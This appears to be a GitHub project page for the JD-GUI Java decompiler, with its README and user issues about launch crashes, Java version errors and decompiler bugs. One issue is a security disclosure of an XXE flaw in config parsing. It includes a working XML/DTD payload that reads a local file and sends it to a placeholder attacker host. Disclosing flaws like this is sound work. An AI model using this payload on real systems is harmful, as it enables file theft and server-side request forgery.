A standalone Java Decompiler GUI

Related tags

GUI jd-gui
Overview

JD-GUI

JD-GUI, a standalone graphical utility that displays Java sources from CLASS files.

Description

JD-GUI is a standalone graphical utility that displays Java source codes of ".class" files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.

How to build JD-GUI ?

> git clone https://github.com/java-decompiler/jd-gui.git
> cd jd-gui
> ./gradlew build 

generate :

  • "build/libs/jd-gui-x.y.z.jar"
  • "build/libs/jd-gui-x.y.z-min.jar"
  • "build/distributions/jd-gui-windows-x.y.z.zip"
  • "build/distributions/jd-gui-osx-x.y.z.tar"
  • "build/distributions/jd-gui-x.y.z.deb"
  • "build/distributions/jd-gui-x.y.z.rpm"

How to launch JD-GUI ?

  • Double-click on "jd-gui-x.y.z.jar"
  • Double-click on "jd-gui.exe" application from Windows
  • Double-click on "JD-GUI" application from Mac OSX
  • Execute "java -jar jd-gui-x.y.z.jar" or "java -classpath jd-gui-x.y.z.jar org.jd.gui.App"

How to use JD-GUI ?

  • Open a file with menu "File > Open File..."
  • Open recent files with menu "File > Recent Files"
  • Drag and drop files from your file explorer

How to extend JD-GUI ?

> ./gradlew idea 

generate Idea Intellij project

> ./gradlew eclipse

generate Eclipse project

> java -classpath jd-gui-x.y.z.jar;myextension1.jar;myextension2.jar org.jd.gui.App

launch JD-GUI with your extensions

How to uninstall JD-GUI ?

  • Java: Delete "jd-gui-x.y.z.jar" and "jd-gui.cfg".
  • Mac OSX: Drag and drop "JD-GUI" application into the trash.
  • Windows: Delete "jd-gui.exe" and "jd-gui.cfg".

License

Released under the GNU GPL v3.

Donations

Did JD-GUI help you to solve a critical situation? Do you use JD-Eclipse daily? What about making a donation?

paypal paypal

Comments
  • BigSur ERROR launching 'JD-GUI'

    BigSur ERROR launching 'JD-GUI'

    ERROR launching 'JD-GUI'

    No suitable Java version found on your system! This program requires Java 1.8+ Make sure you install the required Java version.

    java-version 1.8

    opened by ly8388 37
  • Java 9 Compatibility

    Java 9 Compatibility

    WARNING: An illegal reflective access operation has occurred WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass$3$1 (file:/Applications/JD-GUI.app/Contents/Resources/Java/jd-gui-1.4.0.jar) to method java.lang.Object.finalize() WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass$3$1 WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations WARNING: All illegal access operations will be denied in a future release Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make jdk.internal.loader.ClassLoaders$AppClassLoader(jdk.internal.loader.ClassLoaders$PlatformClassLoader,jdk.internal.loader.URLClassPath) accessible: module java.base does not "opens jdk.internal.loader" to unnamed module @2a17b7b6 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:337) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:281) at java.base/java.lang.reflect.Constructor.checkCanSetAccessible(Constructor.java:192) at java.base/java.lang.reflect.Constructor.setAccessible(Constructor.java:185) at org.codehaus.groovy.reflection.CachedConstructor$1.run(CachedConstructor.java:41) at java.base/java.security.AccessController.doPrivileged(Native Method) at org.codehaus.groovy.reflection.CachedConstructor.(CachedConstructor.java:39) at org.codehaus.groovy.reflection.CachedClass$2.initValue(CachedClass.java:76) at org.codehaus.groovy.reflection.CachedClass$2.initValue(CachedClass.java:66) at org.codehaus.groovy.util.LazyReference.getLocked(LazyReference.java:46) at org.codehaus.groovy.util.LazyReference.get(LazyReference.java:33) at org.codehaus.groovy.reflection.CachedClass.getConstructors(CachedClass.java:265) at groovy.lang.MetaClassImpl.(MetaClassImpl.java:215) at groovy.lang.MetaClassImpl.(MetaClassImpl.java:225) at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.createNormalMetaClass(MetaClassRegistry.java:168) at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.createWithCustomLookup(MetaClassRegistry.java:158) at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.create(MetaClassRegistry.java:141) at org.codehaus.groovy.reflection.ClassInfo.getMetaClassUnderLock(ClassInfo.java:250) at org.codehaus.groovy.reflection.ClassInfo.getMetaClass(ClassInfo.java:282) at org.codehaus.groovy.reflection.ClassInfo.getMetaClass(ClassInfo.java:292) at org.codehaus.groovy.runtime.metaclass.MetaClassRegistryImpl.getMetaClass(MetaClassRegistryImpl.java:259) at org.codehaus.groovy.runtime.InvokerHelper.getMetaClass(InvokerHelper.java:868) at org.codehaus.groovy.runtime.callsite.CallSiteArray.createPojoSite(CallSiteArray.java:122) at org.codehaus.groovy.runtime.callsite.CallSiteArray.createCallSite(CallSiteArray.java:163) at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:120) at org.jd.gui.view.MainDescription.run(MainDescription.groovy:170) at groovy.util.FactoryBuilderSupport.build(FactoryBuilderSupport.java:1169) at groovy.util.FactoryBuilderSupport.build(FactoryBuilderSupport.java:1152) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90) at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324) at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:382) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017) at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.callCurrent(PogoMetaClassSite.java:66) at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallCurrent(CallSiteArray.java:49) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callCurrent(AbstractCallSite.java:149) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callCurrent(AbstractCallSite.java:161) at org.jd.gui.view.MainView$_closure1.doCall(MainView.groovy:69) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90) at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324) at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:292) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1082) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017) at groovy.lang.Closure.call(Closure.java:423) at groovy.lang.Closure.call(Closure.java:417) at java_util_concurrent_Callable$call.call(Unknown Source) at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108) at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:112) at groovy.swing.SwingBuilder$_edt_closure1.doCall(SwingBuilder.groovy:333) at groovy.swing.SwingBuilder$_edt_closure1.doCall(SwingBuilder.groovy) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:564) at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90) at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324) at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:292) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017) at groovy.lang.Closure.call(Closure.java:423) at groovy.lang.Closure.call(Closure.java:417) at groovy.lang.Closure.run(Closure.java:504) at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:303) at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:764) at java.desktop/java.awt.EventQueue.access$500(EventQueue.java:97) at java.desktop/java.awt.EventQueue$3.run(EventQueue.java:717) at java.desktop/java.awt.EventQueue$3.run(EventQueue.java:711) at java.base/java.security.AccessController.doPrivileged(Native Method) at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:89) at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:734) at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:199) at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124) at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113) at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109) at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101) at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90)

    opened by stuxuhai 33
  • JD-GUI crash on start up w/ Mac High Sierra?

    JD-GUI crash on start up w/ Mac High Sierra?

    Hey. I've been using JD-GUI for some time now and I just recently updated my computer to High Sierra and now it crashes whenever I start it. Can anyone help, please?

    opened by Beachin 21
  • Add me as a maintainer?

    Add me as a maintainer?

    Hi @emmanue1, I would like to be added as a maintainer to JD-GUI so I could help the project grow and take some of the burden off of you. Please give me ability to merge commits.

    Ways I can contribute:

    • Reviewing community proposed PRs.
    • Merging community proposed PRs.
    • Adding i18n support for internationalization.
    • Tagging releases.

    My background

    I have several open source projects which I have created (you can find them here).

    I also contribute regularly to the Jenkins CI project (see my contributions of code, opening GitHub issues). I contribute to Jenkins infrastructure through updating the Jenkins wiki and releasing plugins as a plugin maintainer.

    I am the maintainer of the GIMP project build system.

    opened by samrocketman 17
  • macOS / High Sierra Incompatibility?

    macOS / High Sierra Incompatibility?

    I am getting the following issue once I upgraded:

    Process: jd-gui [20317] Path: /Applications/JD-GUI.app/Contents/MacOS/jd-gui Identifier: jd.jd-gui Version: ??? Code Type: X86 (Native) Parent Process: ??? [1] Responsible: jd-gui [20317] User ID: 501

    Date/Time: 2017-10-19 14:50:27.239 +0200 OS Version: Mac OS X 10.13 (17A405) Report Version: 12 Anonymous UUID: 431E9F32-6409-9B6D-CF15-5403747FDACE

    Sleep/Wake UUID: 6D9458A4-43ED-4F65-84AB-B2E38BD772DE

    Time Awake Since Boot: 46000 seconds Time Since Wake: 25000 seconds

    System Integrity Protection: enabled

    Crashed Thread: Unknown

    Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x000000000cec933b Exception Note: EXC_CORPSE_NOTIFY

    Termination Signal: Segmentation fault: 11 Termination Reason: Namespace SIGNAL, Code 0xb Terminating Process: exc handler [0]

    Backtrace not available

    Unknown thread crashed with X86 Thread State (32-bit): eax: 0x0008950c ebx: 0xbffffc5c ecx: 0x0cec933b edx: 0x00000001 edi: 0xbffffc94 esi: 0x00001000 ebp: 0xbffffc18 esp: 0xbffffbd0 ss: 0x00000023 efl: 0x00010297 eip: 0x000013e3 cs: 0x0000001b ds: 0x00000023 es: 0x00000023 fs: 0x00000000 gs: 0x0000000f cr2: 0x0cec933b

    Logical CPU: 2 Error Code: 0x00000004 Trap Number: 14

    Binary images description not available

    External Modification Summary: Calls made by other processes targeting this process: task_for_pid: 0 thread_create: 0 thread_set_state: 0 Calls made by this process: task_for_pid: 0 thread_create: 0 thread_set_state: 0 Calls made by all processes on this machine: task_for_pid: 2849104 thread_create: 0 thread_set_state: 0

    Model: MacBookPro11,1, BootROM MBP111.0142.B00, 2 processors, Intel Core i5, 2,6 GHz, 8 GB, SMC 2.16f68 Graphics: Intel Iris, Intel Iris, Built-In Memory Module: BANK 0/DIMM0, 4 GB, DDR3, 1600 MHz, 0x80AD, 0x484D54343531533641465238412D50422020 Memory Module: BANK 1/DIMM0, 4 GB, DDR3, 1600 MHz, 0x80AD, 0x484D54343531533641465238412D50422020 AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0x112), Broadcom BCM43xx 1.0 (7.77.37.0.1a1) Bluetooth: Version 6.0.0f7, 3 services, 27 devices, 1 incoming serial ports Network Service: Wi-Fi, AirPort, en0 Serial ATA Device: APPLE SSD SM0256F, 251 GB USB Device: USB 3.0 Bus USB Device: Internal Memory Card Reader USB Device: Apple Internal Keyboard / Trackpad USB Device: BRCM20702 Hub USB Device: Bluetooth USB Host Controller USB Device: iPhone Thunderbolt Bus: MacBook Pro, Apple Inc., 17.2

    This reminds me of the same issue i had last year? with the os upgrade. Anyone know how to resolve?

    opened by krycor 12
  • Launch failed after upgrading to macOS 11

    Launch failed after upgrading to macOS 11

    After upgrading macOS from 10.15 to 11.3.1 (20E241)

    ERROR launching 'JD-GUI' No suitable Java version found on your system! This program requires Java 1.8+ Make sure you install the required Java version.

    java version "1.8.0_251" Java(TM) SE Runtime Environment (build 1.8.0_251-b08) Java HotSpot(TM) 64-Bit Server VM (build 25.251-b08, mixed mode)

    opened by gzjaychen 10
  • Synthetic methods are always hidden

    Synthetic methods are always hidden

    .version 52 0
    .source Example.java
    .class super public Example
    .super java/lang/Object
    
    
    .method synthetic public <init> : ()V
        .limit stack 1
        .limit locals 1
        aload_0
        invokespecial java/lang/Object <init> ()V
        return
    .end method
    
    .method synthetic static public main : ([Ljava/lang/String;)V
        .limit stack 2
        .limit locals 1
        getstatic java/lang/System out Ljava/io/PrintStream;
        ldc 'Hello world'
        invokevirtual java/io/PrintStream println (Ljava/lang/String;)V
        return
    .end method
    

    JD-GUI Output:

    public class Example {}
    
    enhancement 
    opened by EvelynSubarrow 10
  • Error on running with Java 10

    Error on running with Java 10

    I am getting the following error whenever I try to run the jar. Even tried with root, same error. Error:

    zihad@zihad-ubuntu:~/Downloads$ java -jar jd-gui.jar
    WARNING: An illegal reflective access operation has occurred
    WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass$3$1 (file:/home/zihad/Downloads/jd-gui.jar) to method java.lang.Object.finalize()
    WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass$3$1
    WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
    WARNING: All illegal access operations will be denied in a future release
    Gtk-Message: 18:32:55.443: Failed to load module "canberra-gtk-module"
    Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make jdk.internal.loader.ClassLoaders$AppClassLoader(jdk.internal.loader.ClassLoaders$PlatformClassLoader,jdk.internal.loader.URLClassPath) accessible: module java.base does not "opens jdk.internal.loader" to unnamed module @6e6c3152
    	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:337)
    	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:281)
    	at java.base/java.lang.reflect.Constructor.checkCanSetAccessible(Constructor.java:192)
    	at java.base/java.lang.reflect.Constructor.setAccessible(Constructor.java:185)
    	at org.codehaus.groovy.reflection.CachedConstructor$1.run(CachedConstructor.java:41)
    	at java.base/java.security.AccessController.doPrivileged(Native Method)
    	at org.codehaus.groovy.reflection.CachedConstructor.<init>(CachedConstructor.java:39)
    	at org.codehaus.groovy.reflection.CachedClass$2.initValue(CachedClass.java:76)
    	at org.codehaus.groovy.reflection.CachedClass$2.initValue(CachedClass.java:66)
    	at org.codehaus.groovy.util.LazyReference.getLocked(LazyReference.java:46)
    	at org.codehaus.groovy.util.LazyReference.get(LazyReference.java:33)
    	at org.codehaus.groovy.reflection.CachedClass.getConstructors(CachedClass.java:265)
    	at groovy.lang.MetaClassImpl.<init>(MetaClassImpl.java:215)
    	at groovy.lang.MetaClassImpl.<init>(MetaClassImpl.java:225)
    	at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.createNormalMetaClass(MetaClassRegistry.java:168)
    	at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.createWithCustomLookup(MetaClassRegistry.java:158)
    	at groovy.lang.MetaClassRegistry$MetaClassCreationHandle.create(MetaClassRegistry.java:141)
    	at org.codehaus.groovy.reflection.ClassInfo.getMetaClassUnderLock(ClassInfo.java:250)
    	at org.codehaus.groovy.reflection.ClassInfo.getMetaClass(ClassInfo.java:282)
    	at org.codehaus.groovy.reflection.ClassInfo.getMetaClass(ClassInfo.java:292)
    	at org.codehaus.groovy.runtime.metaclass.MetaClassRegistryImpl.getMetaClass(MetaClassRegistryImpl.java:259)
    	at org.codehaus.groovy.runtime.InvokerHelper.getMetaClass(InvokerHelper.java:868)
    	at org.codehaus.groovy.runtime.callsite.CallSiteArray.createPojoSite(CallSiteArray.java:122)
    	at org.codehaus.groovy.runtime.callsite.CallSiteArray.createCallSite(CallSiteArray.java:163)
    	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:120)
    	at org.jd.gui.view.MainDescription.run(MainDescription.groovy:170)
    	at groovy.util.FactoryBuilderSupport.build(FactoryBuilderSupport.java:1169)
    	at groovy.util.FactoryBuilderSupport.build(FactoryBuilderSupport.java:1152)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.base/java.lang.reflect.Method.invoke(Method.java:564)
    	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90)
    	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324)
    	at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:382)
    	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017)
    	at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.callCurrent(PogoMetaClassSite.java:66)
    	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallCurrent(CallSiteArray.java:49)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callCurrent(AbstractCallSite.java:149)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callCurrent(AbstractCallSite.java:161)
    	at org.jd.gui.view.MainView$_closure1.doCall(MainView.groovy:69)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.base/java.lang.reflect.Method.invoke(Method.java:564)
    	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90)
    	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324)
    	at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:292)
    	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017)
    	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1082)
    	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017)
    	at groovy.lang.Closure.call(Closure.java:423)
    	at groovy.lang.Closure.call(Closure.java:417)
    	at java_util_concurrent_Callable$call.call(Unknown Source)
    	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:45)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:108)
    	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:112)
    	at groovy.swing.SwingBuilder$_edt_closure1.doCall(SwingBuilder.groovy:333)
    	at groovy.swing.SwingBuilder$_edt_closure1.doCall(SwingBuilder.groovy)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    	at java.base/java.lang.reflect.Method.invoke(Method.java:564)
    	at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:90)
    	at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:324)
    	at org.codehaus.groovy.runtime.metaclass.ClosureMetaClass.invokeMethod(ClosureMetaClass.java:292)
    	at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1017)
    	at groovy.lang.Closure.call(Closure.java:423)
    	at groovy.lang.Closure.call(Closure.java:417)
    	at groovy.lang.Closure.run(Closure.java:504)
    	at java.desktop/java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:303)
    	at java.desktop/java.awt.EventQueue.dispatchEventImpl(EventQueue.java:770)
    	at java.desktop/java.awt.EventQueue.access$600(EventQueue.java:97)
    	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:721)
    	at java.desktop/java.awt.EventQueue$4.run(EventQueue.java:715)
    	at java.base/java.security.AccessController.doPrivileged(Native Method)
    	at java.base/java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:87)
    	at java.desktop/java.awt.EventQueue.dispatchEvent(EventQueue.java:740)
    	at java.desktop/java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:203)
    	at java.desktop/java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:124)
    	at java.desktop/java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:113)
    	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:109)
    	at java.desktop/java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
    	at java.desktop/java.awt.EventDispatchThread.run(EventDispatchThread.java:90)
    

    My Java installation information:

    java version "10.0.1" 2018-04-17
    Java(TM) SE Runtime Environment 18.3 (build 10.0.1+10)
    Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10.0.1+10, mixed mode)
    
    opened by zihadmahiuddin 9
  • Does not launches on Windows 10

    Does not launches on Windows 10

    Hi,

    I'm trying to use it on Windows 10 but it does not even launch. Nothing happens when you click on the shortcut or on the application directly.

    Any other way to get it work?

    Thanks, Gourav

    opened by GouravS 9
  • JD GUI author disappeared without a trace.

    JD GUI author disappeared without a trace.

    I thought long enogh about it, if I should post this as issue. But now I deciuded, to do so.

    The JD GUI author Emmanuel Dupuy seems to be disappeared without a trace.

    Long time, there comes steadily updates on its JD-GUI main side. Later it moves over to https://plus.google.com/107508651694381167848 On mid 2015 he published JD-GUI here on github as OpenSource. And so his activity goes on here.

    Every month he posted at minimum one commit: https://github.com/java-decompiler/jd-gui/commits/master But Sep 2, 2015 comes his last commit.

    Beside committing, he also comment issues. The last two comments are on 6 Oct 2015 (https://github.com/java-decompiler/jd-gui/issues/86) and 26 Oct 2015 (https://github.com/java-decompiler/jd-gui/pull/88)

    After that, all activity of the author ends abruptly.

    Then there comes the xmas holiday in december 2015. Most projects have then its most active time. But JDs activity was zero.

    Nearly five month after the last activity of the author in 2015, there is still silence.

    So I decided to open the issue, that the author is disappeared without a trace. If he is still there, he can close this issue. Otherwise it stays open for all time.

    opened by theuserbl 9
  • Error when decompile jar file

    Error when decompile jar file

    I'm trying to decompile the jar file but getting an error. The error found at AdventNetPassTrix\org\apache\jsp\jsp\xmlhttp\AjaxResponse_jsp.java image

    Jar file is here

    opened by com0t 0
  • improvement proposal: Real Line Numbers

    improvement proposal: Real Line Numbers

    jd-cli offers an option:

    --displayLineNumbers, -n
           displays line numbers in decompiled classes
           Default: false
    

    but instead of

    Line: 32 /*   46 */   public class ...
    Line: 33 /*   48 */     doSomething
    

    Would it be possible to export code so it will be written on its real line number? This would be easier to compare.

    Line: 46 public class ...
    Line: 47
    Line: 48    doSomething
    
    opened by WIPService 0
  • [Security] - XXE leads to SSRF/File Disclosure

    [Security] - XXE leads to SSRF/File Disclosure

    XXE leads to SSRF/File Disclosure

    This is not a critical security issue in my opinion as it is quite a contrived scenario. Just observed the behaviour and wanted to have it out of my mind.

    Due to the way the jd-gui.cfg file is parsed allows for SSRF or File Disclosure attacks due to processing of XML external entities. The main issues are:

    • When parsing jd-gui.cfg files it follows external entities
    • Current working dir is used on $nix based systems

    Attack idea

    Place a jd-gui.cfg file within the file locations of .jars to trigger the vulnerability.

    Attack Setup

    Follow the outlined steps within the same dir:

    1. echo -n testcontent>test # file to be extracted
    2. Create the following jd-gui.cfg file:
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE data [
      <!ENTITY % file SYSTEM
      "file:///<path/to/current_working_dir>/test">
      <!ENTITY % dtd SYSTEM
      "http://<attacker-host>:8000/evil.dtd">
      %dtd;
    ]>
    <data>&send;</data>
    
    1. Replace the value <attacker-host> with your attacking host. Also replace the <path/to/current_working_dir> with your CWD
    2. Create the evil.dtd file:
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://<attacker-host>:8000/?collect=%file;'>">
    %all;
    
    1. Replace the value <attacker-host> again to match your host machine
    2. Start python Webserver python3 -m http.server
    3. Last step, start jd-gui.jar e.g. java -jar ~/Downloads/jd-gui.jar 8.

    Result:

    esjay@machine jd-gui % python3 -m http.server
    Serving HTTP on :: port 8000 (http://[::]:8000/) ...
    <snip> "GET /evil.dtd HTTP/1.1" 200 -
    <snip> "GET /?collect=testcontent HTTP/1.1" 200 -
    

    Some Notes:

    • It is only possible to extract file which don't include newlines.
    • Arbitrary GET requests can be made also.

    Recommendations

    opened by 3sjay 0
  • Comma missing for comlex lambda expressions

    Comma missing for comlex lambda expressions

    When de compiling an function call with multiple lambdas as parameters, jd-gui seems to omit a comma after a complex lambda that requires curly braces ({}): Original: inflateSum(hm, x->{if (x.startsWith("He")) {if (x.startsWith("Hel")) throw new RuntimeException(); return 1.0;} return 0.5;}, y->y.startsWith("H"));

    JD-gui:

        inflateSum((Map)hashMap, paramString -> {
              if (paramString.startsWith("He")) {
                if (paramString.startsWith("Hel"))
                  throw new RuntimeException(); 
                return Double.valueOf(1.0D);
              } 
              return Double.valueOf(0.5D);
            }paramString -> paramString.startsWith("H"));
    

    JD-GUI Version 1.6.6 JD-Core Version 1.1.3

    opened by tobiasheineken 0
Releases(v1.6.6)
Owner
Java Decompiler
Java Decompiler
A GUI-based file manager based on a Java file management and I/O framework using object-oriented programming ideas.

FileManager A GUI-based file manager based on a Java file management and I/O framework using object-oriented programming ideas. Enables folder creatio

Zongyu Wu 4 Feb 7, 2022
an open souece, lightWeight and beautiful GUI for VPN Usage

free, open source, lightweight and beutiful GUI for vpn usage , this Project is part of my #100DaysOfCode challenge in twitter : @My_Terminal Dependen

Mohammad Esmaeili 21 Nov 9, 2022
PS4 Remote PKG Installer GUI for https://github.com/flatz/ps4_remote_pkg_installer

PS4 Remote PKG Installer PS4 Remote PKG Installer GUI for https://github.com/flatz/ps4_remote_pkg_installer Tired of copying PKG files to USB then wal

Benjamin Faal 116 Dec 25, 2022
😉PrettyZoo is a GUI for Zookeeper created by JavaFX and Apache Curator Framework.

?? Pretty nice Zookeeper GUI, Support Win / Mac / Linux Platform

vran 2.4k Jan 5, 2023
An attempt to port CSGO's Skeet.cc GUI into minecraft

------------------------------------------- Source installation information for modders ------------------------------------------- This code follows

3tnt 29 Dec 30, 2022
A simple calculator GUI

Calculator A simple calculator GUI Description Lets you use a standard calculator in a GUI, these are some features that this calculator supports. Mad

Raymart 3 Sep 29, 2021
Terminal GUI library for simple ANSI console tools and graphical interfaces with Windows/Linux support

TerminalCore Terminal GUI library for Windows/Linux. This library contains all colors as ascii codes, native functions of the respective operating sys

Pascal 3 Oct 19, 2022
Utilizando do Java swing e do banco de dados MySQL, criei esse projeto com intuito de práticar a conexão do Java com MySQL e as janelas do Java swing

MeusCursos.com Meu primeiro projeto sozinho Utilizando do Java swing e do banco de dados MySQL, criei esse projeto com intuito de práticar a conexão d

João Vitor Ferreira Peixoto 1 Apr 2, 2022
Everything I code in java / Learn in Java I will post here to show my Progress :)

This repository contains all the codee i have written or used to help me learn This is going to be a repository that holds the source files for codene

unofficialdxnny 2 Jan 10, 2022
A Java framework for creating sophisticated calendar views (JavaFX 8, 9, 10, and 11)

CalendarFX A Java framework for creating sophisticated calendar views based on JavaFX. A detailed developer manual can be found online: CalendarFX 8 D

DLSC Software & Consulting GmbH 660 Jan 6, 2023
Controls for adding Parallax effects for Java (JavaFX)

FXParallax Parallax framework for Java (JavaFX). This framework adds controls to add Parallax effects to JavaFX application, this effect can add a sen

Pedro Duque Vieira 36 Sep 30, 2022
Ribbon control for Java, created in JavaFX

FXRibbon Ribbon control for Java, using JavaFX framework, based on Microsoft Ribbon. If you want to support the development of this library consider a

Pedro Duque Vieira 224 Dec 27, 2022
Icon packs for Java applications

Ikonli Ikonli provides icon packs that can be used in Java applications. Currently Swing and JavaFX UI toolkits are supported. Installing You can get

Kordamp 415 Dec 28, 2022
📊 Exposing charts from Java to JavaFX and the Web!

